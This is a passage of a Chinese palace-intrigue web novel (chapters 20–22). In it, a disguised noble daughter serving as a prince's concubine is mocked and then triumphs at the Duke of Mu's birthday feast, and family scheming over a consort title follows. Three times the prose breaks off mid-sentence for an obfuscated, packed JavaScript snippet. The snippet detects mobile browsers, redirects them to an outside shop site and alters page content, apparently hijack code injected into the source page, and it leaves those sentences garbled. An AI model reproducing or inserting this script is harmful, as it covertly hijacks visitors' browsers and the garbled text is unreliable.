霍灵渠中肯解释:“葵姨娘没错更没谁针对你,世子不喜别人插手他的内宅,王爷王妃给他安排的妾室都不受待见;只要不是他自己挑的女人,他都不喜。” 还能这样?葵姨娘吃惊道:“难道钟姨娘和贾姨娘也不得宠吗?贾姨娘可是贾侧妃的亲侄女,王爷亲自安排给世子爷的贵妾;钟姨娘更是王妃的表侄女,和世子爷能算表兄妹,她们两位还能受冷落吗?” “霁之对她们俩与对你对其他五位姨娘的态度是相同的。” 葵姨娘倒吸口凉气,真不知是冲击大还是心里的落差小,细细询问番世子内宅的情形,她都迷糊了;在她之前没有哪位成功过,那她还要试吗?还是安安分分生活到二十岁,然后离府再找个好人家出嫁吗? 朱楼疾步走到屋檐下,屈膝禀道:“姨娘,世子派笛生来接,请您即刻梳妆出府。” 20. 第20章 霍灵渠丝绸般的秀发绾做倭堕髻,鬓间斜簪支粉玉滚珠步摇,一袭梨花双秀粉蓝藕丝罗裙外罩纯白雪貂毛长袍,通身装扮清雅素净,黑白夺目间落就天然去雕饰的美。 “世子爷不是在霍家吃寿宴吗?难道才午时初刻,穆国公五十岁大寿的寿宴就结束了?” “小的不知。”长随笛生禀道:“世子只吩咐尽快接姨娘前往穆国公府。” 霍灵渠提起裙摆登马车,心头不安加剧,婢女们要给她梳妆打扮时她就怀疑,见到长随问清楚要去何处,竟然真是霍家,晏霁之想做什么? 随行的俩贴身丫鬟坐到车尾,两匹马同驾的富丽华盖马车平稳向前驶,这是英王世子晏霁之专属的马车,宽敞的车厢内摆着躺靠的小榻,榻上铺着块暖融融的羊绒。霍灵渠瞥过眼,靠着车壁闭目养神让自己镇定。 不知过了多久,马车稳当停驻,绿岫搬圆凳放在车厢旁,朱楼扬声请姨娘下马车。 记忆中的鲜活和岁月落拓的斑驳构筑起此刻朗朗晴空下的晦涩,霍灵渠站在凶猛傲慢的两座石狮前看朱门依旧、人面不相识,仿佛看尽半生路,遥遥不可及是归途。 “姨娘、姨娘?”看流光姨娘走下马车后只顾站定在霍府前发呆,朱楼轻声唤她回神:“天冷,久站会受风寒着凉的,世子还在等着您呢。” 霍灵渠抬手拨过细短的碎发绕到耳后,拢拢雪貂长袍往前走,行至威严的朱门金铜兽头辅首前响起两府奴婢们不约而同的提示——请她走正大门边侧的角门。 她懂,她没想逾矩,只是想近前细看两眼而已。 照壁旁有个穿豆绿比甲的婢女等候,笛生便和这婢女同走在前引路,霍灵渠慢慢跟着,徐徐踏过这段既似熟悉更显陌生的亭台楼阁雕栏玉砌锦绣膏粱。 真正要见流光姨娘的是霍三爷霍雄鹰。 穆国公霍秦川五十岁大寿,晏霁之在英王府的礼单外额外送份礼:一筐螃蟹和从千里之外请来的最擅长做蟹和蟹汤包的大厨。据他自己称,宠妾养病时嫌顿顿燕窝粥没滋味,闹着非要吃润州江蟹,他派护卫飞骑往润州挑螃蟹,刚运到,故而送筐到霍家给大家尝鲜。 就这么点事霍雄鹰也没得要找茬,偏偏晏霁之显摆起来没完没了。 宴席前,晏霁之在众目睽睽之下找霍枫叶表示要送他份谢礼,是他家流光姨娘的心意,霍雄鹰在旁边听得略不爽:“你和你的宠妾要谢得谢我吧,谢我小叔啥意思?”然后那厮说:“这份谢礼对你无用,但如果其实你用得到,自是可以也备份赠给你。” “我还真想不到什么礼物能送给我小叔却会对我无用?”霍雄鹰当即呵呵:“拿来!” “是张药方,流光听闻霍四老爷竟是个没娶妻纳妾没通房外室没红颜知己的五没男人,很怀疑霍四老爷会有隐疾,而她又想表达谢意,因此我特意去城外向张神医求来张药方,当然最好还是请张神医亲自诊脉问切医治。” 晏霁之笑容和煦:“你确定你需要收这张药方?” 在场那么多宾客要多尴尬就有让人多难堪,霍雄鹰被憋得差点想把这混球拍进砖缝里,要拖他去找个僻静处算账时被小叔拦住;霍枫叶从容婉拒,晏霁之又讲出致谢缘由,听得霍枫叶皱眉奇怪,直言没有的事。 他二两人你来我往阵,霍雄鹰一合计就要请流光姨娘来解释清楚顺便出出他们的闷气。 正是高朋满座献酬交错间,堂前出现抹雪白倩影,引路婢女和笛生跨进门槛到各自主子跟前禀告,霍雄鹰憋坏喊:“还不快请流光姨娘进来!” 当哥哥的霍巨浪头疼地捂眼睛,憨货弟弟憋着气要发泄,阻拦只会越拦越糟;他真怀疑晏霁之到底什么心思闹这茬,成心想要找事吗? 屋里暖和,丫鬟想要取走雪貂外袍,霍灵渠没给,低头看路,慢步往客堂里走。 她头低得很低,只看见绣鞋踩过的青玉地砖和闯进眼帘或张扬或含蓄的华丽锦衣,行至半途突然被缀金丝绣的皂靴挡住去路,她垂头站定,等对方发难。 “专程叫流光姨娘你来是要通知你一件事,三爷我和晏霁之推牌九,晏霁之把你给输了;自即日起,流光你就是我霍雄鹰的小妾。” 满堂欢声笑语霎时收住,在座那么多重臣名士世家子弟还有皇亲贵胄们脸色精彩的不少,流光姨娘是娼妓出身,四年前因绝代美貌在京畿引起过轰动,屋里众人基本都知道。 贱妾通买卖,往来互赠算不得稀奇,但霍雄鹰耍这出可谓诛心;大家能猜到晏霁之肯定不会因此就真舍掉宠妾但还会没疙瘩吗?是个玩笑也够流光姨娘吃一壶。 晏霁之服气地端酒喝,霍巨浪被这倒霉弟弟噎得险些岔气,许多位嗅着热闹准备看戏,事不关己更不可能因这种事情出头,何况晏霁之自己都没说话呢轮得到旁人多事吗? 众人几乎都等着‘欣赏’流光姨娘的反应,意外的是这位平静得简直像耳聋,霍雄鹰得意洋洋地宣告完毕半响她还像没事人,有看热闹不嫌事大的等得不耐便添把火:“你算了吧,瞧瞧流光姨娘这件雪貂袍,多少官太太都穿不起。 再听晏霁之说的,顿顿不离燕窝,闹点脾气,入冬要吃螃蟹还点名要润州江蟹就得派护卫千里迢迢去润州挑螃蟹请大厨;她这养尊处优的日子恐怕你媳妇都比不了,你还能养得起她吗?人家摆明看不中你。” 挑事的是显国公府的二爷、薛驸马的堂弟,凭晏家和薛家最近的过节,他挑事很正常;但他这番话真有道理,弱冠的霍四爷霍振羽顺话问:“表哥,你养这小妾一年花费多少?” 晏霁之答:“万八千两白银。” 气氛忽然有点沉默安静,这哪里是养小妾啊?!薛二爷也好奇了:“照这么算,晏霁之你每年养妾室就得用掉多少银两,你年底还能有盈余吗?” “我只养流光,其他妾室按王府的规矩走中馈的账,有没超份例的补贴全由王妃做主。” “够了,谁说我养不起?”这种妾室给他他还真养不起,但输人不输阵,霍雄鹰火大道:“你还愣着做什么,还不快过来服侍你的新主君;先脱掉外袍给爷们跳支歌舞助兴,再敢使性子可别怨三爷不怜惜你。” 众人再看,总算看到那位有点动静;霍灵渠退后两步,优雅地施礼行拜:“流光不知霍三爷与我家世子因何故起哄寻开心,霁之他任性惯了不懂事,有时比三五岁的孩童都幼稚;如若他胡闹得罪了您,流光赔罪。 霍三爷是威武豪迈的血性大丈夫,何必跟个闹小孩脾性的幼稚鬼一般见识;这是您父亲穆国公五十岁大寿的寿宴,倘若为点小事坏掉兴致多不美。” 场面再度安静甚至有点诡异,满座王侯贵公子们面面相觑,难道他们耳聋听错了,这是小妾在当夫主的家吗?英王爷晏墉拿眼瞧二儿,晏霁之说不出滋味地再端杯酒喝。 霍雄鹰被神奇地愣两拍,看看她再转身喊那厮:“你还愣着做啥,还不快摁死她!” 晏霁之悲催回复:“你螃蟹吃少了吗?” 看客们:“……”这是默认吗?这是怂吗?你他娘还真被个小妾压在头顶吗? 一大串人纷纷侧目,十九岁的湘王看不惯道:“你是不是男人,你是个男人,你现在就把这不知天高地厚的小妾狠狠削一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459212|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”表哥的表哥被妾室欺压,他的脸好看吗? 晏霁之都觉得自己幼稚了:“你信不信我的宝贝爱妾也能让你闭嘴。” “来啊!”湘王怔愣下后受到刺激,扬起手掌猛一拍桌把他身边的兄弟们都给惊了惊:“本王要是被个小妾吓住,我认她叫姐姐!” 十四岁的吴王劝道:“八哥,你冷静。” 二十三岁的晋王附和:“是啊老八,如果你输了,不仅我们要和她做姐弟,三皇兄和四皇兄还有陛下都要跟个娼妓出身的妾做兄妹,你还有脸见父皇母后吗?” “什么叫我会输,老七你有种再讲遍?!”湘王怒,心累的霍振羽刚捂脸就被堂兄拉着奔去按住王爷表弟别冲动,霍巨浪头大调和道:“越说越离谱了,这就是晏霁之闲着无聊想找人逗闷,搭理他作甚?我们继续吃寿宴,流光姨娘就去后院与我大哥的妾室吃顿酒。” 湘王驳斥:“不行!让她轻易溜走,本王的脸往哪儿放,拖下去杖打一百大板。” “哎哎,王爷别急,就试试这位美人的脑袋是否能与她的脸蛋媲美,”霍漓江笑悠悠道:“她要是真能说出句让我们在座所有人都反驳不了的话,再处置不迟。” “二叔您就当卖晏霁之个脸面,”欺负到自己宝贝闺女头上,哪天知道真相能怄死你,霍巨浪憋闷道:“或者您就当卖我个脸面,舒窈跟她关系好,她要是在前院被欺负了,舒窈能从后院冲过来把老爹这场寿宴给砸了。” “我看是二哥你比晏霁之还维护他的宠妾,”霍雄鹰哼哼冷嗤,跟亲哥呛:“霍舒窈要是敢为个外人把亲爹的寿宴砸掉,我削死她,有种二哥你把霍舒窈叫来对峙。” 霍巨浪真想把这倒霉弟弟卷成团踹飞:“霍雄鹰你最近皮痒是吧?” “好了好了,”年过七旬的老穆国公抢在最前发话:“就让这小娃娃说句话,这娃如果有本事让老头我都没办法反驳,事情就算了;不然你们找她男人算账,跟个女娃计较啥?” 以老太爷的威望自然没谁会再有异议,何况这局面还会有悬念吗?多数看客目光投向那抹雪白的倩影,就当是逗闷瞧瞧这流光姨娘还能耍什么花样? 霍灵渠抿抿唇揭短:“老太爷您取名字的能力实在有限,给儿女取名还勉强,轮到孙辈,您给嫡长孙取名叫海啸,给嫡次孙取名叫巨浪,因而您的嫡长孙女出生后,您的大儿媳穆国公夫人死活不同意再让您取名,霍舒窈的名字是她母亲给取的。 您给嫡三孙取名叫雄鹰,给嫡四孙取名叫振翅,翅膀的翅,兴献侯嫌弃得难以忍受,因此给儿子改为振羽,羽毛的羽。” 一瞬间的冷场后不知谁带头发出嘲笑随即爆发满堂哄笑,霍漓江都没忍住地喷笑;那么多年前的往事冷不防提起,还真没有谁察觉到这当中的纰漏误差。 被嘲笑的老太爷怒了:“老子还给孙女取名叫灵渠呢,我孙女灵渠多好听的名儿啊!”又拍桌指晏霁之骂:“你个小王八蛋背地里给妾室讲我家咋样取名啥意思?” “闲话、闲话,闲聊时说着玩的。” 晏霁之脚下开溜,快步冲到她跟前把女人扶起来,赔笑道:“我这就告辞带流光回府好好训斥,改天再来给老太爷您赔不是,姨夫和振羽不必送了。”语毕,速遁。 气得霍老太爷抄起只碗就冲这混球和他的小妾砸去,寿宴结束宾客们离开后还骂咧咧,和儿孙们去书房议事都不忘指使次子给晏霁之找找茬添添堵。 “老爹您看出这混球的意图了吗?”霍漓江狐疑道:“诱使雄鹰把他的宠妾喊来,又摆场自己畏惧小妾的热闹,他会没点用意?” 21. 第21章 书房中没有彰显清贵底蕴的充栋藏书也没映照累累军功的兵戈刀枪,只有金银俗物满架,燃烧正旺的碳盆里时不时发出细微的哔剥声但不见灰烟飘扬,红檀木桌案上摆着刚斟的热茶,袅袅水汽升腾给金光银闪的宝物蒙上了层雾。 “佟家想争明年的贵妃位?”霍老太爷答非所问,捧杯热茶暖暖手。 “透过意思,他家可假意向皇帝投诚,以亲戚的身份秘密掌控霍氏动向助皇帝辖制霍家,实则是襄助我们;蓁蓁和她娘很热衷,闹着我和太后想迫皇帝把贵妃的位置送给佟家。”霍漓江摇头:“说得再天花乱坠,我看佟家实则都是想坐收渔利。” 老太爷很平淡:“你哥俩打算怎么做?” “二弟愿意将计就计,孩儿则反对;太后还没下决心,太上皇还在,远远没到能让霍家为所欲为时。”穆国公霍秦川讽刺道:“抢后位已是兵行险着,再抢贵妃位送给佟家图什么?图让陛下彻底掐断对养母的恩义吗?” “英王妃对这个流光姨娘应该很厌恶,只是碍于被亲儿袒护而不得不容忍。”霍老太爷眯眯皮肉耷拉的眼睛,哼道:“小王八蛋在表态。” “玉家和冯家可没少靠我这混球外甥的深情赚好处。”霍漓江闻言坏笑:“身为姨夫,我是该帮外甥把新欢旧爱好好捋捋。” “祖父以为英王府对争贵妃位有想法吗?” 霍海啸三十二岁,他是书房中唯一的孙辈,虽然为武将但没半点粗犷,剑眉英挺,形容气势磅礴,不自觉就给人种压迫感:“寿宴间的种种不是晏霁之的风格,孙儿怀疑他想争但又矛盾甚至没头绪,他在迷惘究竟该如何抉择。” “他如果真矛盾迷茫,绝不会是为争贵妃位。”霍漓江肯定猜测:“十有八~九是为情爱,混球可能对宠妾动了真心偏偏他自己排斥、不愿意接受。” “流光姨娘?”穆国公霍秦川困惑:“这位病重时舒窈上心得像着魔,巨浪也不对劲。”忽而想到差错,嫡女刚出生的往事太过久远竟让他一时间完全没意识到症结。 他神情微变道:“不对,为维护老爹的面子,咱们对外可宣称是祖父亲自翻《诗经》给嫡长孙女取的名字,二弟妹可不知内情,连雄鹰都不知道。” 老太爷霍擎柴如树皮的手僵住,霍漓江心头像被敲记闷棍,眼底害怕闪过,扯唇牵笑:“应该是舒窈给人家说的,这丫头跟个娼妓出身的小妾关系那么好?” 霍海啸最后个意识到情况,不可思议道:“爹您怀疑什么,流光姨娘是灵渠?”他失态地拍桌站起来,不重的落掌声却仿佛能刺穿书房里每位的耳膜:“这种揣测太荒谬了,如果她真是灵渠为何不回家,灵渠会不认识回家的路吗?” “刚刚海啸想让祖父猜猜明年的贵妃娘娘会花落谁家,是吧?”语调空旷而渗着凉意,老太爷霍擎平和的目光沉浮着洞察世事百态的尖锐:“陛下够有手腕,贵妃娘娘就该姓霍,以我霍家灵渠击破霍氏羞辱挑起霍家内讧,这才叫漂亮!” 窗外,挂在廊檐下的鸟笼晃动,五彩斑斓的鹦鹉瞪着圆溜溜的小眼睛鄙视前方的黑货,原来不远处有群觅食麻雀在青石板上叽喳跳跃,假山石旁两三簇翠叶兴奋伸展,在这一天中最暖和的时候,生灵正以饱满的舒悦致敬阳光的馈赠。 繁闹街头车水马龙,两匹良驹共驾的豪华马车穿过街巷来到京城最大的金玉首饰楼前,英王世子爽快掏出一千两银票给宠妾买对翡翠手镯,并异常迅速地离去。 马车驶进英王府,他们回到流光小筑,霍灵渠还只跟他讲过一句话:我要买首饰。 揣着新买的翡翠手镯跨进寝屋,气怒未消的女人没眨眼就砸碎了这对水汪汪的翡翠手镯;合着她要买首饰就是为砸的,晏霁之见此情景默默腹诽:败家娘们儿。 “气消了吗?” 没有,但必须适可而止,霍灵渠满含幽怨,眼神委屈得不行:“你不想要我了大可直说,何必要那般羞辱我?夜夜耳鬓厮磨,转身就能将我转赠他人,还要在众目睽睽时给我难堪,你还有点心肝吗?何不干脆给我三尺白绫,你我都痛快。” “那出是霍雄鹰临时起意,我哪能猜得到?”晏霁之放软姿态哄:“瞧我家流光多威风,二话不说就要做我的主,我都顺着捧着;还说我没心肝,你有良心吗?” 霍灵渠真正只气愤他故意将她喊去霍家,但这点没法算;敲他一千两白银、当他面摔碎新买的翡翠手镯再得他哄哄,她应该甚至必须顺台阶下,可心里堵着闷气真的难受。 抬眼看他眼,她走上前步踮起脚,抬手捧住他的脸颊吻他的唇,最好恶心得他几天都不想回来过夜,哪想晏霁之沉默过后非但没把女人扯开反而抱她倒在就近的美人榻里。 夕阳恋恋洒落半庭金辉,斜影错综茶花自赏,炊烟在掌灯时,但看红绡暖帐终挂起。 晚膳摆在耳房暖阁,润州江蟹送到、润州擅长做蟹的大厨也给请来了,这顿晚膳自是以蟹为主菜:清蒸蟹钳、醉蟹、酱蟹、蟹汤包、蟹粉鱼翅、蟹汤金瓜粥、蟹黄豆腐,再配几样新鲜时蔬和糕点,满满一桌比平常膳食丰盛许多。 霍灵渠粉嫩的脸蛋能滴出水来,眉梢顾盼盛满欢爱后的妩媚,水绿色的对襟长衫更衬得她风情绰约,她忍耐再三还是没忍住把在暖阁里伺候的婢女给赶到屋外去了。 “谁闹着非要润州江蟹?”晏霁之拿筷夹只清蒸蟹钳放在她面前的碗中,明知故问:“莫非还在生我的气,这是故意给我摆脸,要让我走才好?” “妾身是难为情。”被恶心,他竟然都忍住了,霍灵渠真的要劝:“世子不觉得我们房事太过频繁了吗?沉溺声色伤身体,只当看在您自己的份儿上,节制些。” 晏霁之反问:“流光不愿意和我在一起?” “怎就那么会故意曲解人家的好意呢,”霍灵渠站起推开玫瑰椅,迈过步,坐到他怀中,似假还真试探:“倘若我说想要出远门,你又得以为我故意躲避你吗?”润州的书信不急,可天越冷越会出行困难,她思来想去还是应该先赶往西南找表哥。 晏霁之笑:“流光是想找温泉山庄躲冬吗?” “妾身是要前往西南接表哥来京城。”霍灵渠眼眸亮亮的,笑得那般高兴温柔:“七月里您刚离京办差,表哥找到我,原来妾身有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459213|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外祖家,可是以前从未想过的事。” “外祖家?”晏霁之吃惊,诧异道:“你外祖家在哪里,你怎知对方身份没错?” “在眉州,西南眉州,外祖家有祖传的宝物能追寻家族遗落在外的血脉,我和表哥验过血脉,没有错。”霍灵渠笑盈盈地解释完,晏霁之评价:“是骗子的说辞,大概流光到大相国寺烧香拜佛时对方看你穿戴富贵,故意给你下套。” “表哥知道我身上的胎记,遗传的胎记。”霍灵渠再说明,晏霁之好笑:“我怎不知?” 霍灵渠挽起衣袖,伸出左手腕给他看:“就在手臂上,我自己也不知道,表哥说这是遗传的胎记;用我的血涂抹手臂,在明烈的阳光底下才会显示,我验过,真的有。 冬季的阳光不够烈或许没用,世子想看可能要等到明年春暖。还有我自幼的小毛病,磕破皮擦出点血就会虚弱,表哥说是因为血脉珍稀之故。” 难道真如张神医猜测般她身世不寻常吗?晏霁之握着她如凝脂白玉的皓腕反复看两遍,皱眉道:“眉州?是当地什么人家?” “表哥只说他叫阿胜,没告诉我姓氏;外祖家的处境不大好,有外人觊觎外祖家祖传的宝物害外祖家整个家族遭遇横祸,只是表哥对仇家讳莫如深不肯向我透露只言片语,我只知表哥带着仅存的族人躲避在眉州彭山的隐蔽山谷里。” 霍灵渠软声求道:“我去接表哥来京城,不会给世子添乱的,世子就答应了吧。” “彭山,你确定他说是在彭山吗?”晏霁之提个现实:“彭山早在三年前被蜀王向陛下和太上皇请旨封山,禁止当地任何百姓甚至官员出入。” “蜀王?”霍灵渠怪异:“蜀王是哪位王爷?” “太上皇的第三子,授康二十八年太皇上禅位前,他和最小的两个弟弟同时被封王。他极少现身人前,只知其人但从未见过他的朝臣数不胜数,我也从未见过蜀王。”晏霁之垂眸,目光有些复杂:“蜀王就像突然崛起般。” 她还以为太上皇的第三皇子早已亡故,如果彭山被封了,表哥会带族人们另觅何处安家?霍灵渠蹙眉忧虑:“许是重病场后记忆混乱记错地方,可我也想不起来外祖家是在哪里了,我想亲自去眉州找。” “既然七月里他上京城寻亲来找过你,真若有事他应该会再来找你。”晏霁之决定道:“如果你心急,明年开春以后你画张这位的画像,我派护卫去眉州寻访。” 霍灵渠想要再恳求被阻拦:“晚膳要凉了。” 一顿蟹膳吃得没甚滋味,回正房后依旧心绪难宁,霍灵渠捧着书卷也一页内容看不进;她考量个把时辰,顺着穆国公五十岁寿辰的话题打探:“世子前些天曾说‘这盘棋,除非霍家能胜’,那以你之见霍家会有多少胜算?” 晏霁之闲适倚靠在美人榻,翻过页书册,淡淡道:“没胜算。” “你有几分把握?” 表哥告诉她,湘王和霍家逼宫失败落得惨烈收场时毕竟是太上皇在位,如今越王登基、乾坤已定,可能会重演吗?霍灵渠心情微沉:“如果没有胜算,霍家会落到什么下场?” 22. 第22章 柔和的烛光熏暖,灯下观之,清晰看见美人眉眼间已染上些许凝重。 晏霁之伸手端起白玉盅抿口燕窝汤,详细解说:“端看霍家想要走到哪步,霍家几位掌权人都是聪明人,预见没有胜算肯定会退,不会在有退路时往死路走。” “这是即使霍蓁蓁抢到凤座,霍家也能保全吗?”霍灵渠刹那眉开眼笑如三月桃花开,晏霁之捏捏她水嫩的脸蛋,含笑纠正:“重点不是抢后位而是霍家能否守住人臣本分,如若霍家将来的作为超越皇帝的底线令皇帝无法再容忍,自寻死路,没人能救。” 霍灵渠忍不住在心底骂造孽,迁怒他:“霍蓁蓁可是你的亲表妹,她无法无天会害霍家落个惨烈收场,你晏家难道会不受牵连吗?太上皇想把英王府连根拔起也不是一天两天了,你就不知道管管吗?” “有她亲娘和两个姨母还有外祖家挡在前给她推波助澜,我怎么管?”晏霁之劝淡定:“霍家的掌舵人又不傻,管不住蓁蓁要给霍家找死路大可提前送她进阎罗殿,放心吧。” “你不在意吗?”霍灵渠心头一咯噔,不知为谁悲凉:“她对你好似一个陌生人,生命在争权夺利时被漠视如草芥;小到你能放任亲表妹寻死,大到有朝臣为谋私利能白白葬送浴血奋战的数万将士,是因为贪婪和欲望能抹灭人性的所有良知吗?” 晏霁之放掉书册把女人拉入怀里,叹息。 “流光看佟尚书的三个女儿可都是嫡出,他挑的女婿呢?长女和次女嫁过去时丈夫都已经有庶出儿女;幼女嫁做继室,继长子就只比她小一岁。” “您越来越少喊母亲。”霍灵渠沉静稍许,温婉宽解:“世子既然盼能与亲娘和乐融融,何苦还要主动疏远?王妃再心向娘家也会疼爱亲儿,您何不试试扳正王妃的偏差思绪?” “呵,”晏霁之自嘲一笑,深藏眼底的落寞几乎能忽略:“如果有一天英王府垮掉,被皇帝夺爵抄家累及众多姻亲偏偏没牵连佟家,我对王妃说佟家不好,她能痛骂她的亲儿就是自家落魄后非要拖累外祖家的黑心烂肺。” 霍灵渠默然无言,她知道真的会,曾经英王府被夺爵,没连累岳家,英王妃认为是好事;晏霁之向他娘指此乃佟家拿晏家做踏脚石、乘人之危落井下石甚至害晏家就有佟家的份,然后就被亲娘骂得狗血喷头,为此母子间差点闹崩。 静默片刻,晏霁之扬声喊大丫鬟准备热水伺候沐浴,热水备好,他抱起美人去往净房,痛痛快快洗场鸳鸯浴后正式开始夜里的主题,一夜荒唐。 屋外日头高照,阳光挤进里间照遍满室明亮,温暖的紫檀木床帏里,霍灵渠头痛而疲惫地睁开眼,想起来奈何身体疲乏酸软根本没力,她抬手揉揉脑袋,继续闭眼睡觉。 黄昏时分,她睡饱醒来,总算感觉舒服些,洗漱时发现她的月事来了,可真正让她舒口气;按晏霁之那闹腾法,再不缓缓,她真要吃不消了。 他们一直在避孕,她来月事很正常。晏霁之折返隔壁的世子居所,白日他告假了,虽然这夜睡眠足,翌日仍让长随给他向衙门告假;他现任正五品工部郎中,对他就是半个闲职,每月告假几天完全没有任何妨碍。 在家休养整整四天,晏霁之才去工部衙门,然后大清早就撞见姨夫霍漓江来串门。 “你啥时候和张神医交好的,姨夫竟然都没听说你俩还是私交甚好的忘年交?” “我也是关心灵渠妹妹,因此张神医给灵渠妹妹医治伤疤时私底下多过问两句,怎么,姨夫有意请张神医再再给灵渠妹妹医治烧伤吗?” “灵渠、妹妹?”霍漓江差点被他恶心到,告诫道:“你可不止七岁,二十年前没肉麻过所以想在二十年后装装佯过过瘾吗?你想玩溜别人去,别拿我闺女寻开心。” 晏霁之捧起茶盅喝口参茶,笑问:“大清早过来,姨夫有什么事吗?” “你认为我闺女满脸的伤疤治不好是因为她自己不想治好?”霍漓江心乱啊,可他害怕真相会令他难以承受也必须查:“你怎会有这种想法?” “十六年来,整座太医署的太医和世间不计其数的名医都给她医治过就是治不好,这当中不乏多位医者能医死人肉白骨,治烧伤的伤疤对他们会那般困难,姨夫不觉得奇怪吗? 还记得当年她烧伤毁容没几月就死闹着要离开京畿,她带妹妹在山东的别庄安顿好后,姨夫想留在山东陪女儿,她死活不肯,与她没烧伤毁容前的性情相去甚远;灵渠活泼开朗,毁容对她的打击会有那么大吗?大到近乎像是变成另外一个人。 桑柔及笄,时隔十三年她带妹妹从山东回到京畿,张神医给她治伤疤,果然还是与此前数不胜数的众大夫一样,没成效。我们闲聊,张神医很明确告诉我,她这身伤疤能够治愈,实在想不明白问题出在哪里?” 晏霁之弯唇而笑:“我不猜是她自己不愿意治好还能猜什么,二姨夫以为不然吗?” 霍漓江神情莫测地提醒:“你清楚你这种揣测会让姨夫怀疑什么吧?” “您妻妹嫁给顺郡王做继室的第六年才怀胎,是我祖母厌恶佟家总想从晏家挖好处,所以稍微给他们添点小麻烦。两年前姨夫的次女嫁进武襄侯府,外甥特意如法炮制,本意只是不想多增麻烦,不想竟然收到个意外惊喜。” 晏霁之好看的桃花眼笑弯成月牙儿,眼底兴味溢满:“二姨夫愿意的话可以顺势查查,结果也许会让你醍醐灌顶。” 好一会儿,霍漓江才道:“外甥知道佟家的意图吗?” “三十年汲汲营营图谋当朝第一豪族世家。”晏霁之淡淡恭维:“谁还没点志气?” “抢到明年的贵妃位,生下皇子,再图晋为后族争储位,离目标是不远了。”留下这话,霍漓江闲庭信步离开。 枝头三两寒鸦啼叫,晴朗还没十天的苍穹又灰蒙阴郁起来,寒冬好似总怕苍茫大地和万物生灵不够深刻,每每吝啬给予几许明媚就要驱使凛冽朔风狂啸大作,坚强持续盛放的花草日渐凋零,暗淡天地里只待红梅暗香来。 今冬的第二场雪不期然降临人间,薄薄雪花黏连成片翻飞,是白蝴蝶在半空起舞。 寂静深夜,寝屋内热情如火,突然被屋外的禀告打断:“世子,王爷和王妃请您即刻前往岚瑟居,大爷和大奶奶还有钟姨娘都已经在候着了。” 足足过半刻钟才从里间传出世子爷的询问声:“钟姨娘为何在?” “奴婢只听说昨夜钟姨娘寻短见被贴身婢女及时发现才没出事,王妃传府医给钟姨娘探脉看有无损伤竟大发脾气;钟姨娘从昨夜到今夜一直在哭,今夜更是又寻过短见。”偏偏牵扯大爷和大奶奶,朱楼不想瞎猜都觉得只怕是钟姨娘耐不住寂寞和大爷有染了。 良久,寝屋内幽幽飘出三个字:“知道了。” 猛烈的春情涌动渐消,霍灵渠抬手捧捧他的脸,劝道:“去吧,闹出事情总得解决。” 晏霁之还算平静:“你陪着我。” 两刻钟后走出内室,不知是有意无意,霍灵渠身着紫红袄裙外罩厚斗篷,晏霁之同样一身紫红华袍,腰间束宽边金丝锦带,衣袖处的银丝绣纹在黄昏烛光间散发着银芒。 墨黑夜晚,轻晃摇摆的红灯笼照见屋前青石板路旁隐约尚有未消融的薄雪堆,从泥地冒出的寒气悄悄在砖缝间凝结薄如蝉翼的冰片,没有风,犹有刺骨的冷。 岚瑟居正是王妃住的正院,垂花门前有英王妃的心腹嬷嬷提着灯笼在等候,见流光姨娘竟然跟着,她皱皱眉,要请这位回便挨世子一记冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459214|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼警告,没再多嘴,引世子爷进堂屋,今夜还不知要怎样收场呢。 堂屋灯火通明,伺候的奴婢寥寥无几且各个如泥塑木雕,仅有碳烧的哔剥声作响。 大奶奶裴氏满脸愤恨嫉怒藏都藏不住,或者说她没想要掩饰;大爷晏明潜眉眼肃穆,但不及他的父亲,此间当属英王爷晏墉脸色最难看。 钟姨娘垂头瑟缩站在她的表姑母身旁,英王妃虽眼角细纹丛生仍风韵犹存,她梳着高髻,穿着暗朱色蹙金锦服,金簪玉镯宝石项链都没少戴,但可能是衣裳没选对,这身珠光宝气在今夜没衬出她的高贵反而显得她脸暗沉。 “你带这狐媚胚子来做什么,还不快让她滚回去!” 霍灵渠再低低头,小碎步移到男人背后;晏霁之站在堂屋中央都没坐,一眼扫过他们:“谁给句痛快话?夜里冷,我没兴致听长篇大论的故事。” “府医诊脉发现钟姨娘有一个多月的身孕了,”裴氏翘翘嘴皮,冷嗤道:“屋里没外人,我们可都知道世子从来没碰过钟姨娘,她耐不住寂寞又舍不得王府的富贵不肯离府,于是暗地里勾引我们大爷。” “裴氏你胡咧咧瞎说什么?!”英王妃怒声呵斥,咬牙给亲儿解释:“是立冬前天那晚,钟姨娘给你送羹汤又遭你冷落,独自在花园里伤神多喝了两杯酒;大爷刚得罪薛驸马,心里难受也喝醉回府,他们两个酒醉的人碰到一起才出事情。” 